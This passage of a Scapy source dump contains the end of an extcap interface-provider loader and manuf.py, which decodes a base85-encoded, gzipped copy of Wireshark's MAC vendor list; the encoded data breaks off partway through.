root.glob(\"*\"):\n            if not _cmdprog.is_file() or not pattern.match(_cmdprog.name):\n                continue\n            cmdprog = str((root / _cmdprog).absolute())\n            # success\n            provname = pathlib.Path(cmdprog).name.rsplit(\".\", 1)[0]\n\n            class _prov(_ExtcapInterfaceProvider):\n                name = provname\n\n            conf.ifaces.register_provider(\n                functools.partial(_prov, cmdprog=cmdprog)  # type: ignore\n            )\n"
  },
  {
    "path": "scapy/libs/manuf.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\n# manuf - Ethernet vendor codes, and well-known MAC addresses\n#\n# Laurent Deniel <laurent.deniel [AT] free.fr>\n#\n# Wireshark - Network traffic analyzer\n# By Gerald Combs <gerald [AT] wireshark.org>\n# Copyright 1998 Gerald Combs\n#\n# The data below has been assembled from the following sources:\n#\n# The IEEE public OUI listings available from:\n# <http://standards-oui.ieee.org/oui/oui.csv>\n# <http://standards-oui.ieee.org/cid/cid.csv>\n# <http://standards-oui.ieee.org/iab/iab.csv>\n# <http://standards-oui.ieee.org/oui28/mam.csv>\n# <http://standards-oui.ieee.org/oui36/oui36.csv>\n#\n# Michael Patton's \"Ethernet Codes Master Page\" available from:\n# <http://www.cavebear.com/archive/cavebear/Ethernet/Ethernet.txt>\n# Many people contributed to Michael's list. See the \"Acknowledgements\"\n# section on that page for a complete list.\n#\n# This is Wireshark 'manuf' file, which started out as a subset of Michael\n# Patton's list and grew from there. The Wireshark list and Michael's list\n# were merged in 2016.\n#\n# In the event of data set collisions the Wireshark entries have been given\n# precedence, followed by Michael Patton's, followed by the IEEE.\n#\n# This file was generated. Its canonical location is\n# https://www.wireshark.org/download/automated/data/manuf\n\"\"\"\n\n# To quote Python's get-pip:\n\n# Hi There!\n#\n# You may be wondering what this giant blob of binary data here is, you might\n# even be worried that we're up to something nefarious (good for you for being\n# paranoid!). This is a base85 encoding of a zip file, this zip file contains\n# a copy of Wireshark's 'manuf' file, so that we are able to use it when not\n# available on your OS.\n\n# This file is automatically generated using\n# scapy/tools/generate_manuf.py\n\nimport gzip\nfrom base64 import b85decode\n\n\ndef _d(x: str) -> str:\n    return gzip.decompress(\n        b85decode(x.replace(\"\\n\", \"\"))\n    ).decode()\n\n\nDATA = _d(\"\"\"\nABzY8x|Sto0{^7F+hXH5lJ|LC`xLmUuX?uZE*~Uk?$uHfWvgu2E>n4`tA!<4LYpGhJUFd<wz>OWY!Lt\ngj36m@dcNuDnfkc^@q|MFh=0T%fBZjx!2b&TpI`nUfBEI^=}9lOOw+yis*3#eckx(P!u)IekI<#q=7k\nc=e7nuF|I61tX@1Yv<1o&PU0%paHx*9bTjA`z70%yVVesAx!}nIWcyEOd@2&9hy%nOS!rivWvxTgbF0\n}*UNyMpIR^|_SS(+a?#>%6n@?2Jhe&x_}xp7lttjlH2A=#Ie+LphIS+>L)lcvU0Kl*!Ma8s?q9mS+{{\nV!dWHHRC$)s<Rd@o7{1R=rjX>|NjwpO6ld>?`%mftDm);WjU}s!%CBR{;N%s>BMUE6lPdQ_8-v1qHEC\n%T1Q2`Fh`agcH&)#&WA(8DODv`keMdzB0gaqzg=BC3m^bDh}OmdP2Ivq`uFy>R!K^$21^-ghT&r!)qd\na;jWO&R58F(qyv0WkLDMOalYNv2*Q&4ht7SGz7XwpsaC7WK9gGnVF?=0EHl55*}5{t+N5JdbJ7T-)r-\nuQrutkji(E|9i(WS0azsD=i%L@lyh)M1Ff#uVKe2`8gX`wUC-hT4ruN%$pdBb&hxCbsN=sc<vustD2*\nQ%-u#$9hiIu0Ua?@cQ^j+`t58jBh|9J-Hi%qnA6wxErBHbpb3$>LQeA_XC{nE$cSNQ+iIy<%>JY14=q\n0hRkrGJ?oXz!snO1e(;_!wRTK=V>U%O&?py3;t%GV{`+l7NWtlbw<d^&q!l+(2LtLHbd$k=H6~;0VYJ\nyuZ`I?v!+)Kjltl4|1h*1mOr?o6PoDh4iQUB426qMi}6;cDvIl=}xol(u^G6^WwR*AOf)mB3)=vd{5M\nBHOqDm#E}60r}+bxCS7M-=yDg;Rc=N<2f~xNA38gnl0F0_%zqRIK3bmAF0?7^FT!*}f&4n@IZ3|Ms#5\nWbE+m4mgoSBO(Ob1k-B{cJX?ka*k9=O=$VYhBd9gPj8VX;-d~~cxy2)R=^40YQy|f^Z?0YI%V>vseb9\nJ#aot(oi#m7D){UTn=Y%Z4@ovFftK-#yO))}8;pgBCKGOrPYrNWGrJ&o&(^pj)<gOFSoa<^gNjE_!L(\nruzj7Mep(1v>M*nkjZQH-o2ng${(Hvek0VNY5FUrTIu@0Qh9s<IhMpS>)wLKS~ZgHx$uExp#v)fu0(q\nuV^#qm@zxG0}wo~BQ_+Tv2IfC&`LnSc1Ej^p7JTv<-TNqrDzY)ra3Gt23TxLttWGX{ss`(&7S|!nzxt\nkg#_TGNr#v%6^HJdJEz@1Rc0QV%S^772jOU|jM+juU$_|Q8Fu>j6N>{f&0u*tQAqQ1sWWpL=($7E6{e\n;=M#ge4&AYT9kd&VZ`8;?|`odkRUsP3TV|G>n1kgrA#t?1h_;b=BZp{lew!|zmb031RRKrW*1N=GZ6N\n%E#dAuv(TR9MpdY+IOX68on${BSYf>Gy2Fswxlvej~&uatS$=>k9?(V3pz>4-Lr6fBVd!qQ#%W~8s&#\nx3Z17}8HBOU<FDIO#CacGsBe4tgq(u5)9o!DS(zDh8}O4E~@7$13#O0NpDLNDsQoAA=1DKrBLWxqaN&\nR(C9}*I1XWT}&e>&F?PrZ3D-K_#M&(3w-FMxg!QxkaV8Jd{w1asxbG{fWJG96W3tCetN6R(o6whLJ$y\n<xcUELGl3b)T13XE2scL8F~uk`53qc8a4bg0!u<gYU(lN~^TaC$@|x)YGWbA0k9k<-+Pa5kIRo}sy{y\n=fJRtq%%8VX*tvFoHM^{)jq9bm3?F~}~=7Wafq<_R|rIzN+KAZ3EKzPdZvxvf{AG4K#a@Nx<Bfu9{>`\n|y4RzeNaOdJSLSdw&@**Lnrokh3NMC}}ymSxZ^!gjK#V1U9}bi%34Jf3fJXe<Fj(+P&YVx!HF^rLG#r\nDkzm<U0gmNzr#WB>m`8R_eRlTYC(lWu0Ly(t}2InqFmY*>6EyWrFSk_$djilAbgIE6&gT4$u-14|#58\nG3dQmk94eW`E$OO-{nNFbpQcWnJ@On>Uucnn0uEBj6^i|EZN`aR3#m4Ayd;UOAdXj$|3D=`BU{@589g\ng7Q}xEKwg1%wY*f@yw1!#lQj@*C9Lt0E$d8&T)7YEq4fdDLSY!S#x%Q6k(IxY7nqf1E@l0BIHJarHEk\n}P(d$55daD=9(@s<P)&;gdz+1NekWM;9rOVt-Aq41MP3b~mwN@O+&t8x|a<xo3aO?TvgihXt<j`Y&UQ\njztXZpJ=6wK`by2jSU8GW5*2q`#p8{!4&2oL6sZ#ek%4SVDP+uSoYoNMkL!a5j>)3wQ?dY0v9GjHXI2\nVu!SK32J4GpZ_f8(At2Jx@X!yIG7>a?7FhH9ofcZnfbsg9dM}(Nv1)woWFoX<KMU3i=I6`!<U|Wk#h9\ntR4g4S~9$@F*lA1#i8%6CU0&d_Pr|78OEs{`d>Np)S*V0&hl!%Q!wcUI09<s#t(n|d`}h8KNGBWLI?D\nHv&CYd-LyWC4sv7H$gUZA2%F3zK{Nlu869?4J2M>FK7>GR=lif3@PS%kwfPL0su*B7YJ15H*RTkrS$r\n7MCD>YSR8jrl(ES1*NVm8$bCYQ|4A^-0f%Jw^kuT*+xq;k6`wN7X-pv?)fldW-5BrY{dPb}d5#RRQ<a\nMdc<lVp<Q~8GxKLhYPyA5DD+C$Pb-}`>&pvQdtErLcZQ!W1??yEhqa6YivWWU3`$pG}(*hX0TnAhgZn\n~OCNF3slP4^wLH?yHURkA>jNef*=fu6EX716YnuBU#ZL?;vy=&c{<aHLs0{2;XC&Jh;VQ&u06_GqzJ&\n`8#ibJmyEzN1{@if!c3BJLvs+y5W^)`-L~KEeNDnwut>W>}=s#D>iK5(Nj9o9X^u2Gcn^-JRdh83}HF\nC#Z}~G2}isfdfqSTDf8-;0c#5%N&k3QhL#G@wA*GZ{5a}86`QeBF}A*-`@$c`)c8xcbDhFY;@E;PbOh\nLJG+?y}U2HGw(iPASd~uzv``$y$K2EARB*#&B5mP$LDP!<fvM^1g0oGvXJB;WlWOV!O&aYw|G;5mnNk\nMeNZtmZ;swxFb=>V)Q);j(9=_oquEC=j%U04pd&AawtCf24M$jtFs7}fxq&(yMGq5+-Js!IFWKS1(ug\nGGn`<K;?p(W&aTtFUU*Ec{_0`($*F%#6fUUAkG<L*L*Kb?mce4)l~JTqt_y(SI~*?JUjnl}dHyKzQnF\n>(Q7kl)xN!Z^VOO%bq%gcY{?YbZV}jRpB-lJ+Q4t`W9n4xt66gKWf+W2+i1M+A~&~GLz&{6@`S=egL-\niCs!NMO|)$FAXnbXH*jPK8-MHYcSL8W)R^jSSJ;C)FUF#$eDmbRE(93#ErLgM?@Vva=UH;-v5-fkZ^b\nLUm9Ktsa=>>?kLjo}YIy@Znq_IVPjUhRR^RrMo7+8Rw>oT1>2uf;dQc9IED2l)U>!P9<u9sPVi<U9Gh\n)=<h%PshLwiIV(P?YBf*r9mo#b@`!q7UEWpmvm9D9uD?wZzX2K<YS=ozSPHl7U}0bw~dVJ)A(n>&Cr%\nmCy76swS~^ziL2iDwM><C6Y!Tj|RpuXpY?HcFU32>TZ-%uZ{zTYDa6tvv+xPKX&h{)4(}fP+S6w~`RZ\n#!~wej!%Ae+hN@AFLTc<gZsiXt*mP1n^2o{p(|P7-cx{{J0l(Fi-c)tqF;;&;lVu9%dxn70;?j`rY;U\nYW72)1hlg3>-?{_$##vh#lP(j71(b)@i@u;cI{KAE&og|WLsONP&AP$B!OuxLNxZGou*vPA=Q`1QpLx\n{UIZHNj`5dPXjx4ngA+YM0nzdOO)@UBuU4A@aYbUK%FxZybgK*>ybICes9P{Ps%6H)g=qx;*(&n{SrC\n-4~5V)S<t2AGCLLFz+3pm(hZj$qG$iSbl-8H#`Eqew%)53)GqU2FAU|(o*Mw@>YoE0oI&I&C{bwWDLe\nO)LV_$;_Z7kz+1YqD5px%m_`3cX%hlOerKw%pw4Oa%~@uJUx%7$6fm$H1XMURRrOo;F~<XPT-tcH_y1\npLgk+P{U2{c6kPkYF&5`j^qx`(cqtVn>-8Gp<O4OCwag!BWgYAN|zgZT7rOQCv<b8@#~n3{}0+G={yU\n%*9*|syyz~Qs<dQ)g{IsC?kb0w?!I;&aK8%2;=X=_fe8j$Uoj><<*!<<3cueOfOg54p34+^#et7_@hM\n%1s3Q2}0q|uRyTlpav|Za*G1mmVyI|OuX$F}1oK`-yW27<_0o;hGT-&eU^2EN4=^lb!Z<{kn2c(0=bR\n&9ax~shpGcj8bp3EzDdt=@(#>({Q#Vk+ZJj?FI0|=nLMNCYmoaM5DzTh@REF3zikExqkX<G4$0qbrt=\n`x>oS-#>B{Pkk)r(D+M##kZaoPc+xFwcG5HiM}Tfc=O&(@j)aGQhGE?%I$tz(R3nc{edL&-#~USz#zc\n|A%lNq_<pGnt?AerTYVNTh`gy?GSlr`*Hu?w8AN~zt&-Y-@#kP_ms{gJ2;nj+p8Y>k3FYn^sqEr$@Ix\ni3J89RV9WjK`A<#YtcgtN8b-@)o~;sTiXjL~?F$V%p2PNA2hU+kWzQmfdO?p?&17<|)GjuC*@6HPu|3\nE!wkGs7G7d~X&|9^3a{TXF?+}C~>zdT_5kArpG3*~V(6eJbjam)6lxw@I8=zwtk}b9=JKX`7jN<RQxX\nuxTA#v@#{WH5&+MleW5CtqWq5J*o%?+49#zeOuED3`vSbJg>ddit)a+jwXrnm<D7~HqAp0d4yt@D5|U\nByGc<#obzH1_i>3YnD%|H~2<CEes~oNpOmnX{iLLwdpF^K5*_fm^*NOw}?{%jZr0^kf&72xMW|cr%<Z\namzw|FHL_mEzg)500L<PE+Mqm1wEBAO}yYhi_-bw^G!5DUpfn9dLZBFgb7@3<yvOB^L+Loxa)K4RYXj\nD60QKy>mq)_6fOz4-HrE;s<_b(gs1G8-{YA1-k7$wkSXk&IuMR%g$dscTJ1A6iEfer0w`itVrB`#J-B\nT}14lq@W97K<ZaHDPm;cED*$LCbT;|nAZv7US1HL_c!bCCJjAvU8<iV&K#;pE|=Q->jZj}S!X{9BrbV\nmIi_h!s0IkX4N6DEndhB;?pErHB|@MH$C^}gGZs7@w+g^gVEvN`lzk#9kl;Mr`=C<OM&Sc{@!nXv?4D\nhB^I79(9M{u`$a3uNb|^(dr6JuE)?)7=Kh0V39jsK4OT(^h6#ovlUzgds7ii>>MNFn3%&K48@mb1ME}\nRzI%QdU)dvj9JYWV;srUbfgAsxAMEsomWrKI?ccZJ2myz7=R7*nJFhsJ9A&Cr8W)EelvtO?wFo^j>F*\nzK<FK;0@cmjl}mG5`M+xk&btJDG$%<XOf&OER?E$$DPoKw0*CL9YGxLN%2xgbI5_N1bi#Bq|G_cSkH>\nxq&Zf@ObH3E#&{<NRFfGkDsmgj@m!OexARM)uHx<>~N8`qA-$3KGf5NmhclYrvejy8uyoDa2pD;B|oc\n$}`e^HMN_zNdJZ8Dv4pyi?-$4Z%K0wU39j#Ua=Kh6Kc+H}J?zKL(+1&7WXqAmr6e97^Az`+|0XhK~ix\nB1F@!+U6-@|`d_&Heb^wC2oyb^`*5-WV0seAn4V$rU_rfR=md7+r@?n7jstWVKcH6CyMp^ve8>?O1pS\ne8MC)qr6;h61A)gvsShsJnehT$P=crnHb|wRX;}aSp(uo7{<b+A6<XD`x1F0(*fP}WDfXPn>ywwUzS4\n<u3cgs(uJ<+b`U_bjyYkX8f)Y%qFX!eAsn!msJ3Rdn95=sKv?RI%~V+PHTtZ>mJ7h4EteCfv$+RlD%u\nGasGUG}cuttuCfTUem^;q&@$lBbM`bsoOmb*lhI&Wq?;Ki1={b%rmx({MU_kGJu5-XG14P=(+=K8Gjj\n%Y=IGfeeV_tm8i!^`$T6M++D#J<4j1c^T5W1g|YH_S4^}ewBVF$tz7Cn8R5d4H`Z+^1I`Oo;hoG``B7\noFj{o&xLS=WJ<IHh$L@`V?3vOk*?oJK;df(cWO}E<d9fIPydbQ?1#m;^3VTPndAVdKWS1`HEBvkY)Lc\nX;3g;2Ix0m&Y7IKcs8TZ{@yGn0>CaKY?a{)!g>?hA$4}GGrL1#K^P(%CY^;0mD7Bg-G-6?v>v}x>VUH\n{uQlV)v>>Xcxzwqw&_=TG)=)u3HE~v|t?2+zJV3v_N%b^dl4`ph0rDVJN)r{!jrrH^IKTrQ2lRYoDz3\nRan{((XK49K(Tk}qx;qKwka-C{wrn*qy&3{+szYLbu@tBE(PPn{gUw)S_ibJa%P+g6mH=V}a1M&3u=c\nTOI?uM~4=|)NO-7NIHim0<qXWh8NHl1_oHY;hlTFNr`zML?T&1@0f7>n#-`ssd#U`+enarDoJ>CvbAB\nQz4I%w{ZCGOIYym-bFy=o2Qc8L6@&AqdK<<r%`8H|au?*(E%{Bu-|R2*T1W-S44_n)qfOf92q=u$bT#\nsG4T3D(PLt7Z%WQylZ1pIn8*#Ha3?xN*x@wW{2;dUZ{-bCu>lT09_>Cb>+4V8t8r_rj}U-&kX=~Iux8\nHPnbyNO6SkoA2m1-@o{|IcZCl$dO{`9vO(ynLEWQa*S*rOc8WltD<(x74pquTsm7CP1S~~e(~Ol;jW>\nG7fPcF&mCU{_^DJY4#aR4|0)kN3!!8E&XJh8(_MGaBL(hwu(z84>?Qx(6ELG3MNgQt<)oP_y34lQIt;\nkGeYt!6S@xO2^VS*Za{Ndf2{aHxATk{Fi)wq9sBh6}`LAxtbVNJAME*W5%^VWjlZf6yM47%^@V!-99G\nILWbLVF{Uy+A5<Hs3F+5}m#n!@+@YM6Cd<ctJhl%9H_?A$?*VJzUN>^sW7<s^*KC)=W>Zd&~h2O_Eeu\nGnaZ-qgU^Eqq6m?7WR)_#bVEH9+li&!B$La-u~LW6AEGiLe{M;?HHOh%R{EWxunaC%cGc%<y3XE*r;N\ng|5d|`K>>@>pP4M;Yxn9B2iU%orTJt_)qS2RUC8fLVT;Xc0<iI8UWze9{-u_9RVu)V?sh6;z~26clXp\nnEPMGdyV%lYxG6DE<HCW(Oc@t$CPS34f<^Zj<aD{WGV|$#dz1t=M5Wfn?&5sW{%9tq4pJkBASTeO%<_\n1&tcBvBQ(|0w|<#K}{EMY;qtUpa+4y0jF<;~64@m+X30Q~L9@BnlNT0I$C#fHC91P=8as=0Z{bvUgAA\nfkeBr4ieKhhvhGL%aQb7<1>Z&l)uC9)u$-N{{~Ql}a@3qgm)1jH#>!oUVi47D9Kxq>7qrWh@%3;(@&$\nDyvDh&vOb#b1XyyFMWH6C*D=dftyJ9hQ&uVhrG(tTfPp$Nkgj=^SjI*_jT&lDjvvMg@1yNEQZFeITrW\nu#<BPbm)WSS>8${VjX|ok`8m^$YHWV8#s}tzrnkOrIpA&UBUAqCL}`CI?SP(6V-3<XZsJe3vr7)7&r+\nq$^**n1bPKc4atrHx9nwK=><(qUWq{>K?}$;EZs7>2Z%(DEnm9?CBU=N91_i3Gc~Ei%!W9O-92L{dvL\n~JC6wXZ<bXydc(ySLDqL+aqL+n<lg2t*U{K;K__UoiF8c?K^`_dLg5SI8g&Rbp_?kOnrJjH+qKJ-ej2\nKXh0EZ7B{nLX)cR1r9es?^wPQbffvHw#m;D53h9PnmiReGs7S2G+Vw7XB}VSQHx=)&o$#q}H1xU1qfX\n&LPYQR5W82Vdc(7oip~QhqtzPBIZ@5v!p7Ns&179;izprP~}WwMz2D8W5YrJ&KlLsjB^PhYB*P&IS`I\nohas!u$75+0d-Ivw-u-UOKmMaJJN|n`Guc9q(M-iOkui+QeP$Oa2+fkEXQHEmnrRK6&U-6(cx$VHs%p\nGQYh+d_-w}i*y{gby8J%`EXzb2o*r4(Ikf3eq8*@fytutR3h~aoM06m(S%dCDfR!Uto8$BbY7}%ReT`\n}O7qarr=72gIN^tT8qu1TW!&)Mzb*Led1sPi5#_!)R!GT^`efx9ZGtb`LU3cNhsLA#!E`0dm2_3=NLi\n`@xR(9FiS=yd>aWQhMd>1fkJ{kw)Sr(}R7=^k`px?#zoJHk*A&AozCK<{&pfZzJaE;C%~u^znq7Gt_m\nyq10pCeZmDJg}yE$_pF4j6k~zRoB>Y??yf{;H6L4u8wK&Dp6ZAm3R=A@(doPCpyLn)7eB1*CA*FKu~V\n66*<+`L`&GPUNc~?Y|P>X=3l}VuLoXuz~juNs&EIo9@^t9mD2oG%c9tOW86XC7&U&k1xH0Si;a1}(wH\n)ZTzL?V_#688?u$fp_{(8O**&=j(b9zS*G7+WUJ3?SWZViOy2#BKIZ-}{s3q@^%qPQc^P~%)2Uyipz(\nRCStuCv4Yt58<4=pcw{`=FGyb_is_p<QvO1n@oDAQCCW0L#;)z^Hs(}D|cOn|*TDytdi<~`%-kA;qDK\nx>k&qqDD#H?9X>n9etmStrlu40z#l?qFFL3gU|f5J0>J-5-!@m1k=Z%8e0hR0<zWuzjpT<uzNG8FSKZ\n7E%bCM^sod9T0z~>7aiSqrw_9=%IHl1z!Fmmpe!XylBLZ1)Eoj&>ih2e3F5ss5em@@XZUde4=g?(XxU\n#i#9Ye1uRN?$cxk|PW2YrW7vdQXfj*p9QryuRn*Lq$!!Qc1MrqHOBFR!7*-hcU5d(Tu64G{gZBymU6S\n%@bXLh$Iqqs&piv0gA1LPGoy_X8<Pch7%r?->G%gwN+Zp_a@HV{kkgmhOr>d&%<r4PV90*GVb{{I7`I\n+J$Sme*8I{Cv5^&a}W5f#kb=&H)Ixip5O@*o@qU!c+P=TMXRLl@e*K{B9I7ZuTrO($yL2&m_Sk&Y2VM\nBNhNo8@%?B04@{%9$iyL>$<Suw$7m>>aq!d>(vgKHj|B?)?}b+(Ew>>4fQN7KL8<7ZiYf2&$l&Iadh{\n8g>F;5-ioOWjs!KXy)fnrqe*!3kxED64gct|3_Ytbcw(269&8>jR62lJL%$rHh={O?3-;l5Z6;Ckue{\n0sqLqqQ-E7XtC{L2{P_hQ*;38S%vg!A54}s}-huGcI|fbJ6!NM=JYEZL?=4Wp%)-2c%QSzKsrg(Dymk\n6CWnR!lUK(SJ0hSxlm<Ee{hqq|q&>j}m$Xu(vJ?CK1^E{KTUqY_Qve#1oYmEQL%A*seoB<nbVm&%;l?\nCCbZ{#{<;u%vQ2_dGzy86{hKDmu~%JR(2rt>CNtpU0!U!zR?l<97wt<G|^;w&7V6Hl2M=S!Z0sC*5pv\njDhf&7bO=x{t2FA>O&7cp$DQG_Go}C{CGV#~<Q=q<s@kbS!CpugoVcg|GJT>%^Gx9)uyNw}l}E_vTKS\nUdQb?yOz&DG=Xlg{hu=Vjv1StFg%ch10S4PaPcI>YXINN?1%ZUFn<*X(w=mh0$Uh8HC|jElAXko^w`I\na!+65y2Ic;HWhX!8Bf%N=E5eZ_EIMiJz-GH8Sd0OVF@o7C)9u9LS%`cK5RO3TQ_@9`tO^Fc4AtUHRpv\nwKHh{%W*lRG01-CQkq1h+wpAApBG)F@K9Vbz101Hx6Z4%!!a6CDVk8i>cQU}fIrN|jzAr{oRk|A`3g=\nPbo+;sHM5mtWZLCz_c+WcG%DrED?VPIpt$rRIUlQ&N4r%ZWc*R5V5jnLhsIAz+Kzw50GG6ev>fH-Apo\n9jGHw|TKvS)vFWC8~JINe-Y>rnK=tXojh+3hHD_S;e~xRoKA5?>A@1ZWd^QYtan^(#%hI9)SuSXAqL(\n2hwb4pIFwZ+XZXj-mBD3nWV<Xp`2=aO6r4BdfLzjp_-aWav#E$0ni|3Y%Dr$yKVZo>kY7%MFlit^MlW\ne&kV2_J^38x1+}<y?EF*}bC;>4%69>TC3+5f$^<cAV_X$b;I~SBWlUcV6RrU|;d(y~zfnXcvs1Q}yev\n`F>Vdz;kIXR_eZvsiw#O-x%0y*eXDfd$>VVuJR-k&$=xfA)KR8|1k4B?>>o&9ige6{_F74MLaxFsZ8_\n<<~9F1Xa4&a7dGhd4d7N1hxOdW!?{BnN;#9raqAFc4g5Z)OMF9LK9i%*&2WtOd>T$(<}tbrp#D=bY7s\nu%ANL4ds%s&Sditg_Pt1P5?%coXfE30!6n09d=UP67Ij=ToL~fw6R*yE7Gp#yPPYQs$INUuL(n1qafy\nsn%tjm)qR$i96`qAwOke7c=ylX5`nQ4h}xiM{cHt8QudHqq9SDomASnc>#z(&gqLj$f&zeXMp9XD{`T\n%@#I879@y>EMmc%!oXYabs1!UKt@h1<ph~#o-7y+^RO(`bcc&=gx4;*nw`06Lu5?kWaHQ{{ZFy3e3&i\nXUUju;Hdgm-F*-GWcF5M~)d|;p&mj}5oLvS(=ojajBU7sG}@!i}9mvqpwpRv|}1`7{j=>X%LUu4K!O}\n}VsrZ_k<WG~XawF??`$Fz@$?Rzr^!qFjH|2Mlc^pEb3()49I{lNj6v`bKe#Xqu<>IJT54RZj2)PCIPy\n^WO$W`42;a|0OdE5(5IeX5T!gJz~mvx=OkZ3AZ3wVeS1S3T}Qqk7C9DCVZwQWh(_4~IbZ;ZB)2W_CZf\nW$XgQfIwpA7!%2;ed&+p3J?9uE2@u4a$?8=9H?^Iao^_9wGXI3ra#OkzXCnCht-gcZA1YJk{&c0%{dS\nge=uwvS$Wq3e`Mt;FZf+t{D)xJY(}BVmub4!*%~&LRpmiAD*NO{r%d^>C{261u2nYPXa@pF7|f*jE!o\nIyy^;DKEPRdco&sh@(uk-=W(=W1(9Oj`d!a&wF=M%XEc9xv5}h_6FeQeK?19y2FB;D{pk@2pb)A*w-n\n)Yd%RwVkr(l2`3=5rmjCnws;KgJE($Ms*6&gxZB=a9Vi%*$ACR#$m5p4~Z2KxI2Rmv=My4D$o2p7Xt8\n<XVw+<r0h4;H+Z#Qx*hA9wNNz*DA?d7%5v09L#d?&+L4!|MFOOfA;q8G+1`R2K7Dn<vF+8V#_JT&G+U\n11{$>wK0nsbcX{fkGaiP>Y>i80^Nde#9!@)cCgUP{KZ&|7%bG0-x%%bUqcqHW+ic58=(DySst0C6%fF\ndkcR_4vZqWhGaAoBylemxJ-btlbfEi<>0!HaJY6&(3}I200axv+;KB~TayFeZ;mobNRJW!D!|gi|j`)\nk7azEYNTjmZrLVx}k7cAR`YQ%yFoeC#EBgQ>tVwv&y*Kz3c0EfJXPnllEG(rubr<^*<L%Ziw@yx=sqk\nTBW063(9KV|BfWF9>%u%3lCZjc7WC?E>7x04<82fI3Dx|y*oH<)6?LX&VL>~CYW4?h=_PRz~y$`G24U\n72TQf>S;hT^@ah$;J%d!>8Js+1;#hAU5#U`Oqno(nMSH^H0u^7(sA1wNs{^S-=5mwb4rky!g8pMJ#j8\n&($E^N|w)6czOdz6=@!1G^Wy-c}+a?=5^<hKm26S=2Iq{`K;wQ^)ZVP_|MY)W19dLg7suofIf}=DHG0\nox`ybUNuEOXhELbR#rm`eCwbHv@svqu9&9+FD$mrdBGB%#R629FTw?gEX9u0q7d$|3vto3B#Yj(aM=z\ngsn##2Y;ix4Y$GSAS%x&B>bOU`m$y7QMZ69^zV;VZ>MmXf1gDPo0Pm&uBXnWm#!{V(Fnkr59kb%*|k)\nu6#NyNHz{gc1w%8NKW93JJUy5>Rd^lE@n`~k$E-<qNV8+h%?$Gr%^N>hc+m)s2RYhC7MJfgrWkRAh4G\n~86TKn~jY`1i4`Bk(Q-K2-xc7_@iLsOHABeZ30O9)Pa2=ah+U7Wwl&Px5C7gyuka%DOj512~&0H`B#z\nCqF$S2t(r2Gck3j#O5XhuOVQT<;><|3Y+oW14b&d{wEK|n2G9?32UqhAGciybX)XCmXwx;U*0J`I#Fp\n&V%n+ck!JcS1Hfby-X}eRfsGH9I(>nMPA)LC)v2zgKN93A)6~pW69wJ_wG^n1hU~e-EM`7E<!^mnn*Z\n#qx#wSQj?P+#I?;=F{&;|-dn*j9bjsv5(^OVvC0%;e2FMku%*L+1znIm!S<5;QK)AHU8mDxDmX^zn+a\nG9vY<W_hjXzblDPhAAd+Z0K@4EV-3hU|Ev|X02X0<Z+fl@yUZ=G6G;mv<^2|H!VoA~KThenUkWP)j3h\naK#{$R(b6J7`Z(RA>|Fq6sHyK=5#qd#plbo6-1gUb^#J2fvH*xHt|waa3n>f3pnj*+b{<>4v~!{3+A!\nY!pCP>JM)j>eJqHA3cPa{QzQxX*W)pwC3vWTg0I|N>J5IvV;w|S8vNYIAl6UEpPvEQU9<Hgm7r*pDJg\nr%;@`A`|}eAt<LxBVQu&+Pfyd6JdGDVZH0332R#(9Xe;=6%AxxbsXS&PcbiNxz*00=#!J@Np%(Z{8gk\nu1S-QyW0p9A7R2TC_LcohhWfdR@9pQb?Z&01uMqj(EM-Bv%4@Z8=)G|M3$B*8<Cp{YR6_d{D9MYK)Xr\n(j5id4|~`R0OxxDb73#8g8wGM_nw5cSY`TlDxdH!aUcw{Q?*U6>o=mmz&<l~<4$$6l!cR-CG3M&L7-R\nf``gTO$Zdhrj8#*PSy?sXHe*0Cy+f{KZfOjTvyAPnGHM*1^roefiD_Q_vX8IE?oQ^ajsq$jXHeiSt<l\ngaA3=D&5^Ys;P-zAn&F#`aSR^0KM*zpC>E|Gi5DoE-o;~fmkZh;ElnO)}*^qraPOhg92E6<Q6})qm`I\nf1rf>vv<)bFh_tKJKj`z)luyd6q%s%kGQi=b1Qp@L*~&^qN(Q_*Px=Hg{1gZJI_cVI+-zh2GCv-h|ID\nyhD@OFh7?4{A{1##s66ep*Cmryzq+|WPhhq*u$2fTFjDEr;X)BEaXN2zPKViDGmpsH3^uT}rl$n9gCB\n{ai;2r-@nUcnIu~A<AV8DNxW~iA&_h!J^87ol&h(N6^1}dg8lM4eZLc=`In(yF%FSn>>CZ6BNmmHe5O\nSLkihj=_o{3mkI=cwFz>nzAds-=xbmsJ6HGW1g>p^0DhT~Lw$yxAm1E$!%%0hXd6o9cgo{o(R4dI&CK\ne5Yo@(g)^S`HJts!du?F6BahpJnG8%DpBAM!UAVjW8%4FxBGkNLaL*Q7g552tU%%uZZ)|qF}I4QjG=z\nF{Bu$j&Fy4tR&laWt2hG?p6Eo1)kp`qnJwZwFA%bDba(sKccrSDKgU<!KHUZomU>?Y6*udxvhleYkS|\n2lHJ5pvu6)>A2P6n?|E1{u09!y92(AI*8V3uiwuvXdHl}}kJURX~oMcgX%{akL?ujzcY<W)<h6PsQNQ\n}?Wy_za)rjSB5&Nko@>Ogq1-jrBlL_HjqdFXZk{fA5}KMnZz<WEmvjRZiiyq@+zy*9tzHQvYu4jwkK^\nfmdjmJ?~+${h$##L1kAZ^jr3{jvaP%UAs|B)J^b;6(En9ItI$UjPy4EeoFtbM9f)jLEeFbZU_9rCgFv\n2CU&x6%IsMlHgOT5QL-773l0UUIZU$2mJTx@#ySx>^4iavLKLnXQ1*NyRCy$x`Y0PG-XKzw+yfdJ<Ex\ns>jyO5EgUr6sn%vbo8KiPRcz$SgK&gpX?)GEkr@p$8<5a|K<d0rdj2WvZJnm7i0ZTfVW_qa&$gX)QkR\n@E$<5ELv8L}n!J$H%&wAAaeDc6w8cQXZtz>35FlQcIgi$Ny^~;Adrl=Xo!kFUq3S2K5=-c!@W3rm~^(\nkk7Wtfk%EK*fEU5f{nOgDU+Gp3^XGn!+N^UOjgAr-4h`-ohE|Ga%>1os9WWhYw!)~B1&$@sHb)tI|`E\nCEEIrVX4i70tAUmD9}aJ2^0q*yrqa#$+^hB2Zskrfdh|OZSb_4YxVjQH|z@C*d=upjoKbWzaD?=v#N4\nF{MmYtm`sl+5zYu4xKT@%vBAC@BT6l`Zuf2m}bT%<I10^u*+qAkJ+vreSs6ECi<?^)Mb?R!1IrVT1*L\nAs4!UqbZz3+H=A}uZ`Rc*h~C<cPmS9!`4y_YiQO@sf}_u0;v+(B1MZB8aqL1HzljTgaBwy|V=A1*L)k\nd+H$